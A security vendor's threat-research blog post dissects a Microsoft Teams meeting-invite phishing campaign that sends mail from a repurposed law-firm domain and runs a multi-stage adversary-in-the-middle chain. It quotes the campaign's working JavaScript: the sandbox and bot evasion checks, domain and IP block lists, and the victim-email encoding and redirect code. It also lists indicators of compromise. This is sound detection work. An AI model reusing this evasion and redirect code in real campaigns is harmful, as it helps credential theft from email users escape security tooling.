Credential phishing with a once-legitimate domain, layered detection evasion techniques, and Russian infrastructure

Sublime’s Attack Spotlight series is designed to keep you informed of the email threat landscape by showing you real, in-the-wild attack samples, describing adversary tactics and techniques, and explaining how they’re detected. These attacks can be prevented with a free Sublime account.

EMAIL PROVIDER: Microsoft 365

ATTACK TYPE: Credential Phishing

The Sublime Threat Research team recently discovered a unique phishing campaign leveraging an impersonated Microsoft Teams meeting invitation. What started as a simple “Q1 Financial Review Meeting” invitation turned into a multi-layered phishing attack designed to avoid detection. Through our analysis we found the use of a legitimate law firm’s assets, Russian-based hosting infrastructure, and many forms of unique and custom obfuscation.

The bait: A financial meeting invitation

The attack began with what appeared to be a legitimate Microsoft Teams meeting invitation. This email would seem authentic to many users as it used the correct verbiage and formatting style. However, instead of joining a Teams meeting, the link sends the reader to an unknown page hosted at sa[.]com, a domain seen in many previous phishing campaigns.

The source: An “Illegal” Identity

Before following the attack sequence, one aspect of this attack that drew our attention was the apparent use of a known good and pre-existing website as part of the campaign. Before creating a very specific and intricate campaign for this victim they targeted the website of a law office based in Colorado, US: dilloncriminallaw[.]com.

Analysis of dilloncriminallaw[.]com suggests that the domain was left to expire by the legitimate owner and then purchased by a third-party. We've seen this same trait with other domains used in similar campaigns, where the domain had expired and was recently repurposed for attacks. Some of these domains had even originally expired over a decade ago.

Additionally, we saw that dilloncriminallaw[.]com had changed registrars multiple times since its initial registration in 2019, including just before this campaign launched. The site was registered with Go Canada Domains, LLC. and then began using a cPanel, Inc SSL certificate in 2021.  The domain remained that way until late 2023 when it was re-registered to GNAME, Inc.

GNAME is notable as a Chinese registrar that is involved with re-hosting expired domain names. The domain remained parked and dormant for nearly a near until a Let’s Encrypt SSL certificate was created in September of 2024 for the domain with a unique subject of “917t1.mf8rsbahu[.]top”.

Four months later, in January of 2025, the domain was transferred to sav[.]com, LLC and another Let’s Encrypt SSL certificate was created with the expected subject of the legitimate domain name, dilloncriminallaw[.]com. At this time, it appears that the original site contents were restored as if the site was recovered by its original owner.

In reviewing attacks originating from this domain, we found that a basic email infrastructure was created, including valid SPF records and DKIM signatures. DNS MX records were created that directed email to 193.169.228.13, an IP at the hosting provider SmartApe OU.


Authentication-Results-Original: relay.mimecast.com; dkim=pass
header.d=dilloncriminallaw.com header.s=dil header.b=Rxk4MjHe; dmarc=none;
spf=pass (relay.mimecast.com: domain of meeting@dilloncriminallaw.com
designates 193.169.228.13 as permitted sender)
smtp.mailfrom=meeting@dilloncriminallaw.com

Received: from na1.dilloncriminallaw.com (na1.dilloncriminallaw.com
[193.169.228.13]) by relay.mimecast.com with ESMTP id
us-mta-663-aWpiOf9pPeSP5QpoY3TTwQ-1; Fri, 18 Apr 2025 01:13:00 -0400

The end result is a phishing campaign that originates from the email address meeting@dilloncriminallaw[.]com, a domain with a legitimate history from an email that passed basic authentication checks. This domain is not used further in the campaign, as the phishing moves to a different infrastructure.

The long trail of malicious code

The messages related to this campaign contain a single link labeled "Join the meeting now" that leads victims through a sophisticated multi-stage credential harvesting process. When clicked, the link first takes users to a gate page that performs extensive bot detection and browser fingerprinting to evade security tools. If the checks pass, the gate extracts and encodes the victim's email address, then redirects to a second stage that collects detailed browser information before finally routing users to a credential harvesting page designed to steal Microsoft login credentials.

The gate: Detecting and evading security tooling

When the malicious link is clicked they are often not sent directly to a phishing login page. Instead, they first access a “gate” page. Like a CAPTCHA, gates exist to determine if the link was accessed by a real person.

The initial link within the email (hxxps://meeting.sa[.]com/AB0QR5CD1gyQR5OP4AB0hQR5EF2mQR5MN3bJK4YZ9ST6vWX8yQR5CD1tOP4cWX8m) serves as a gate and uses various techniques to evade detection. We reviewed the malicious JavaScript to view its capabilities. Beyond evading detection, it also extracts and encodes victim email addresses for redirection to the further stages of the credential harvesting.

This gate page performs four notable checks:

  • Automated analysis detection
  • Domain blocking
  • User-agent analysis
  • Plugin verification

To go more in depth for each of these checks below, we noted each is segmented into unique functions within the JavaScript code. If any of these return True the page is directed to the actual Microsoft login page.

1. blockDomain()

When reviewing a connection we would expect a gate page to check the web referrer to determine what led the victim to access the gate. However, what was unique in their domain reviewing code was that it checked the domain that the gate was hosted from. This code ensures that the victim is not accessing the gate while the gate is hosted at a domain that contains belfius or baringa as the domain, or even a subdomain. If found, the viewer will be redirected to the known Microsoft login page.

For instance, this check will also block connections when the gate is hosted at any host within baringa[.]com as well as any domain with a custom subdomain like 01_baringa_10.github[.]io. This has many uses, but obvious ones are that it allows the threat actor to quickly end ongoing attack campaigns. If they create a dedicated host for a particular victim, and wish to prevent any future connections from that organization, they can deploy a quick update to the gate code to block the domain.

belfius presumably refers to Belfius Bank, one of the larger banks in Belgium, while baringa could refer to Baringa, a global consulting firm that offers cybersecurity services. It is unclear why these two keywords are explicitly used within this sample.


// Block specific domains
function blockDomains() {
    const blockedDomains = ['belfius', 'baringa'];
    const currentHost = window.location.hostname.toLowerCase();
    
    for (const domain of blockedDomains) {
        if (currentHost.includes(domain)) {
            window.location.href = 'https://login.microsoftonline.com/common/login';
            return true;
        }
    }
    return false;
}

Our research team discovered other variants of this gate code that uses the referer location instead of the current window hostname, as would be expected. In some of those instances we found domains such as chase[.]com and credit-suisse[.]com are used.

2. isBot()

This script function contains two separate checks to determine if the page was accessed by a actual human. The first is a simple check against user-agent matching of known search engines and unexpected browser tools like wget. This ensures that the gate only allows connections from a user who directly clicked the infection link and was not referred to it.


const botPatterns = [
    'bot', 'spider', 'crawl', 'slurp', 'baidu', 'yandex', 
    'wget', 'curl', 'lighthouse', 'pagespeed', 'prerender',
    'screaming frog', 'semrush', 'ahrefs', 'duckduckgo'
];

const userAgent = navigator.userAgent.toLowerCase();
for (const pattern of botPatterns) {
    if (userAgent.includes(pattern)) {
        return true;
    }
}

The code then specifically targets automated security analysis tools by checking for signs of headless browsers, an automated browser without a user interface such as Selenium. This is done by checking various read-only attributes of the browser stored as navigator values. If navigator.webdriver contains any value, where normally it should be blank. It will also check to make sure the browser has at least one plugin installed and that the browser has a pre-defined language preference, like “en-us” or “fr-fr”.


// Check for headless browsers or automation tools
if (navigator.webdriver ||
    navigator.plugins.length === 0 ||
    navigator.languages === "" ||
    navigator.languages === undefined) {
    return true;
}

3. checkIpBlock()

The last step is to check that the IP address of the page requester doesn’t exist within a block list.  This is completed by making a call to api.ipify[.]org , a known service which provides the IP address of the requester in a variety of formats. Threat actors can predefine ranges of IP addresses based upon who they are assigned to, allowing them to prevent connections from specific companies, hosting sites, and even countries.

In this particular phishing campaign, the IP list was not configured, thus did not provide any useful function.


// IP blocking (client-side validation)
function checkIpBlock() {
    // Using a placeholder service - this would need to be replaced with your actual implementation
    fetch('https://api.ipify.org?format=json')
        .then(response => response.json())
        .then(data => {
            const ip = data.ip;
            const blockedRanges = [
                // Add your blocked IP ranges here in format: { start: "192.168.1.1", end: "192.168.1.255" }
            ];
            
            // Check if IP is in blocked ranges
            // This is a simplified check - you would need server-side validation for real security
            for (const range of blockedRanges) {
                if (isIpInRange(ip, range.start, range.end)) {
                    window.location.href = 'https://login.microsoftonline.com/common/login';
                    return;
                }
            }
        })
        .catch(error => {
            console.error('IP check failed:', error);
        });
}

If all of the automated analysis checks are checked, the next step is to call a handleRedirect()  function which extracts several elements from the URL path, checks the victim email against a list of domains, generates random values, and finally redirects the browser to the next stage of the chain.

Email decoding function

If no automated analysis is detected, the gate script then decodes the user email address from the path of the URL. A custom substitution cipher is used as the initial attempt to decode the data from the URL path. This is seen within the encodingMap array in the JavaScript code below:


// Encoding/decoding functionality from the user's template
const encodingMap = {
    "@": "MN3", ".": "OP4", "a": "QR5", "e": "ST6", "i": "UV7",
    "o": "WX8", "u": "YZ9", "s": "AB0", "n": "CD1", "r": "EF2",
    "d": "GH3", "l": "JK4"
};

const decodingMap = Object.fromEntries(Object.entries(encodingMap).map(([key, value]) => [value, key]));

const caseInsensitiveDecodingMap = {};
for (const [pattern, char] of Object.entries(decodingMap)) {
    caseInsensitiveDecodingMap[pattern.toLowerCase()] = char;
    caseInsensitiveDecodingMap[pattern.toUpperCase()] = char;
    caseInsensitiveDecodingMap[pattern] = char;
}

function decodeEmail(encoded) {
    let remaining = encoded;
    let decoded = '';
    while (remaining.length > 0) {
        let matchFound = false;
        if (remaining.length >= 3) {
            const firstThree = remaining.substring(0, 3);
            if (decodingMap[firstThree]) {
                decoded += decodingMap[firstThree];
                remaining = remaining.substring(3);
                matchFound = true;
            } else if (caseInsensitiveDecodingMap[firstThree]) {
                decoded += caseInsensitiveDecodingMap[firstThree];
                remaining = remaining.substring(3);
                matchFound = true;
            }
        }
        if (!matchFound) {
            decoded += remaining[0];
            remaining = remaining.substring(1);
        }
    }
    return decoded;
}

If the resulting value does not contain an “@” then additional decoding methods are checked until the result appears to be an email address. These methods include decoding the URL path as hexadecimal, Base32, and finally Base64 encoding.

For example, the table below shows the various forms in which an email could exist when appended to the URL.

Email address user@victim.com
Email custom encoded YZ9AB0ST6EF2MN3vUV7ctUV7mOP4cWX8m
Email hex encoded 757365724076696374696D2E636F6D
Email Base32 encoded OVZWK4SAOZUWG5DJNUXGG33N
Email Base64 encoded dXNlckB2aWN0aW0uY29t

As a last evasion technique, if the decoded email contains selected keywords, the browser is redirected to the legitimate Microsoft login page. The same belfius and baringa keywords are observed in this section, ensuring that the provided email does not contain these two values.


const blockedDomains = ['belfius', 'baringa'];
const emailDomain = email.split('@')[1].toLowerCase();

for (const blocked of blockedDomains) {
    if (emailDomain.startsWith(blocked)) {
        window.location.href = "https://login.microsoftonline.com/common/login";
        return;
    }
}

Assuming the email address can be decoded and does not start with any blocked domains, elements of the email address are extracted out for further use. These parts are used to construct the URL of the next stage and finally redirect the browser to that URL.

This URL notably contains the domain prefix of the email address and the email address encoded as both Base64 and in hexadecimal. The URL structure to a specific $subDomain at team.ru[.]com allows the threat actor to build complex infrastructure to allow for specific actions per victim domain.


const emailParts = email.split('@');
let subDomain = "mail";
if (emailParts.length > 1) {
    const domainPart = emailParts[1];
    const domainParts = domainPart.split('.');
    if (domainParts.length > 0 && domainParts[0]) {
        subDomain = domainParts[0];
    }
}
const base64Email = stringToBase64(email);
const hexUid = stringToHex(base64Email);

const rand1 = generateRandomNumber();
const rand2 = generateRandomString(8);
const rand3 = generateRandomNumber();
const rand4 = generateRandomString(6);
const rand5 = generateRandomNumber();
const rand6 = generateRandomString(5);
const rand7 = generateRandomNumber();
const rand8 = generateRandomString(7);
const timestamp = Date.now();

const finalUrl = `https://${subDomain}.team.ru[.]com/auth/?uid=${base64Email}&hid=${hexUid}&document=${rand1}-${rand2}-${rand3}-${rand4}&token=${rand5}-${rand6}-${rand7}-${rand8}&t=${timestamp}`;

Stage 1: Collect, encode, POST

Having passed the gate, the next stage is a heavily obfuscated JavaScript file hosted from the campaign-tailored ru[.]com domain. This script is nearly 450KB in size, with over 6000 lines of code, and contains multiple layers of obfuscation. The end result is an in-memory module with multiple calls, each hidden behind character substitution and string decryption.

These function exports, signified here by the text }, hex_address: (argument list) => {, each provide varying data types such as decoded strings or the results from further calls.

This stage also has the capability to create and maintain WebSockets for further activity, as well as load and run embedded Rust code that was compiled as WebAssembly, seen here with the references to WebAssembly[’instantiateStreaming’].

Overall, in our analysis, this stage creates a WebSocket and begins collecting browser information.  This information includes basic data about the browser, its plugins, any ad or domain blockers, using open source fingerprintjs code, and a unique ID for the victim based upon their ru[.]com link. This information is packaged, Base64 encoded, and sent back to the actor’s server via an HTTP POST connection.

This data appears to be continued browser fingerprinting and allows for server-side validation of the collected fingerprint data. When testing, the following system/browser details were provided, along with three strings of unknown purpose. An example of the data contained within the fingerprint is available in Appendix B.

Stage 2: Redirect and test

If the server-side fingerprint check is passed, the response of the POST is a 302 to the next stage, seen hosted at a randomly named subdomain of <random_value>.team.za[.].com, to a folder name hardcoded as “6802a801d7f11fb0bef7f792".

This next stage contains an equally large and obfuscated block of JavaScript with additional functionality. Notably, the WebSocket endpoint is contained in the body as a Base64 encoded string, which decodes to wss://52e42e6675254286a4273c62f3b19bfb.team.za[.]com/6802a801d7f11fb0bef7f792/.

The WebSocket appears to be used for control of the user experience upon certain conditions.  For example, this section listens for a success message and then extracts the redirect_url variable and redirects the user.  Likely to redirect the user to the legitimate Microsoft after the credential theft process has been completed.

This second request then redirects the user to the fake login page to attempt to steal their credentials.

Stage 3: Adversary in the Middle (AITM)

This final page is a simple Office 365 login page that is branded to the victim with their graphical logo and a background image specific to their company. This is finally the actual AITM phishing page that collects entered credentials, which are legitimately forwarded to Microsoft to login while also being captured.

Detection signals

Sublime's AI-powered detection engine prevented this attack. Some of the top signals for this attack were:

  • Sender domain mismatch: The email claims to be sent from the target company’s Teams account, but the email’s sender domain is dilloncriminallaw[.]com.
  • Teams link to non-Microsoft domain: The Teams meeting “join” URL points to suspicious, non-Microsoft domain (meeting.sa[.]com).
  • Suspicious sender: The message was from an unsolicited, first-time sender.
  • Excessive invisible characters: This content displacement technique is a common phishing tactic, not a legitimate meeting invitation practice.

ASA, Sublime’s Autonomous Security Analyst, flagged this email as malicious. Here is ASA’s analysis summary:

See the full Message Query Language (MQL) that detects this attack in our publicly available Detection Rules in our Core Feed: Brand Impersonation: Microsoft Teams Invitation

Conclusion

This attack chain is effective at phishing users by leveraging a known domain with a legitimate reputation to send the emails, a very realistic meeting invite, and an intricate infrastructure that is specifically tailored to the targeted organization. Our analysis calls out unique indicators within the code, as well as patterns in the hosting infrastructure, to identify future campaigns.

If you’re interested in checking out Sublime and how we detect and prevent phishing attempts, you can create a free account today or request a demo. If you enjoyed this deep dive, check out TROX Stealer: A deep dive into a new Malware as a Service (MaaS) attack campaign.

Appendix A: IOCs

Type Value Notes
hostname dilloncriminallaw[.]com Hostname of email delivery domain
IP address 185.239.48.252 IP address A record of dillioncriminallaw[.]com
IP address 193.169.228.13 IP address of mail delivery host
hostname meeting.sa[.]com Hostname within email to gate server
IP address 75.2.60.5 IP address of meeting.sa[.]com
hostname team.ru[.]com Stage 2 hosting domain
IP address 196.251.70.198 IP address of [victim_org].team.ru[.]com
hostname team.za[.]com Stage 3 hosting domain
IP address 38.146.28.241 IP address of subdomains of team.za[.]com

Appendix B: Fingerprint data


{
    "sid": "",
    "location": "hxxps://[.]team[.]ru[.]com/auth/?uid=&hid=&document=&token=&t=",
    "fp": {
        "id": "",
        "etsl": 33,
        "automation": [
            false,
            false,
            false
        ],
        "platform": "MacIntel",
        "navigator": {
            "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
            "device_memory": 1,
            "hardware_concurrency": 8,
            "language": "en-US",
            "languages": [
                "en-US"
            ],
            "max_touch_points": 0,
            "mime_types": [
                "application/pdf",
                "application/x-google-chrome-pdf"
            ],
            "plugins": [
                {
                    "name": "iwYMGi4",
                    "description": "SwBIr0a0DgYz4k5cOm6d1iRnb05FCgQ",
                    "filename": "aZMOPuXToUKs1Do"
                },
                {
                    "name": "Web Portable Document Format ",
                    "description": "",
                    "filename": "CNOPm6dt9mbsePHLs1Do78e2bVSJr899"
                },
                {
                    "name": "Chrome document Display",
                    "description": "Portable Document Format",
                    "filename": "kaNtePHDJMtePHLs9euAfPPm6d1iZMGi"
                },
                {
                    "name": "MxYMOPuf",
                    "description": "1mTJr0iZMOHLkaNl5k5cOuXToUSRQnTR",
                    "filename": "0HqVpzhQIEKNOPuX"
                }
            ],
            "permissions": [
                {
                    "name": "accelerometer",
                    "state": "denied"
                },
                {
                    "name": "ambient-light-sensor",
                    "state": "unknown"
                },
                {
                    "name": "background-fetch",
                    "state": "granted"
                },
                {
                    "name": "background-sync",
                    "state": "denied"
                },
                {
                    "name": "bluetooth",
                    "state": "unknown"
                },
                {
                    "name": "camera",
                    "state": "prompt"
                },
                {
                    "name": "clipboard",
                    "state": "unknown"
                },
                {
                    "name": "device-info",
                    "state": "unknown"
                },
                {
                    "name": "display-capture",
                    "state": "prompt"
                },
                {
                    "name": "gamepad",
                    "state": "unknown"
                },
                {
                    "name": "geolocation",
                    "state": "prompt"
                },
                {
                    "name": "gyroscope",
                    "state": "denied"
                },
                {
                    "name": "magnetometer",
                    "state": "denied"
                },
                {
                    "name": "microphone",
                    "state": "prompt"
                },
                {
                    "name": "midi",
                    "state": "prompt"
                },
                {
                    "name": "nfc",
                    "state": "unknown"
                },
                {
                    "name": "notifications",
                    "state": "prompt"
                },
                {
                    "name": "persistent-storage",
                    "state": "prompt"
                },
                {
                    "name": "push",
                    "state": "unknown"
                },
                {
                    "name": "screen-wake-lock",
                    "state": "granted"
                },
                {
                    "name": "speaker",
                    "state": "unknown"
                },
                {
                    "name": "speaker-selection",
                    "state": "unknown"
                }
            ]
        },
        "screen": {
            "width": 3840,
            "height": 2160,
            "avail_width": 3840,
            "avail_height": 2062,
            "color_depth": 24,
            "pixel_depth": 24,
            "x": 1882,
            "y": 188,
            "orientation": "landscape-primary",
            "touch": false
        },
        "window": {
            "inner_height": 1885,
            "outer_height": 2018,
            "outer_width": 1200,
            "inner_width": 1200,
            "page_x_offset": 0,
            "page_y_offset": 0,
            "device_pixel_ratio": 1
        },
        "gpu": {
            "vendor": "Google Inc. (Apple)",
            "renderer": "ANGLE (Apple, ANGLE Metal Renderer: Apple M3 Max, Unspecified Version)",
            "webgl_version": "WebGL 2.0"
        }
    }
}

About the Author

About the Authors

Author headshot

Brandon Murphy

Detection

Brandon is a Threat Detection Engineer at Sublime. He is a seasoned cybersecurity professional with over a decade of experience protecting internet users. Prior to Sublime, Brandon put his detection engineering expertise to use as a Sr. Staff Threat Analyst at Proofpoint.

Author headshot

Threat Research Team

Sublime

The Threat Research team at Sublime is responsible for performing deep dive analyses of new and evolving threats. They use cutting-edge tools and open-source intelligence to understand the full scope of threats and threat actors.

Get the latest

Sublime releases, detections, blogs, events, and more directly to your inbox.

You're now subscribed. Expect a monthly email from us in your inbox.
Oops! Something went wrong while submitting the form.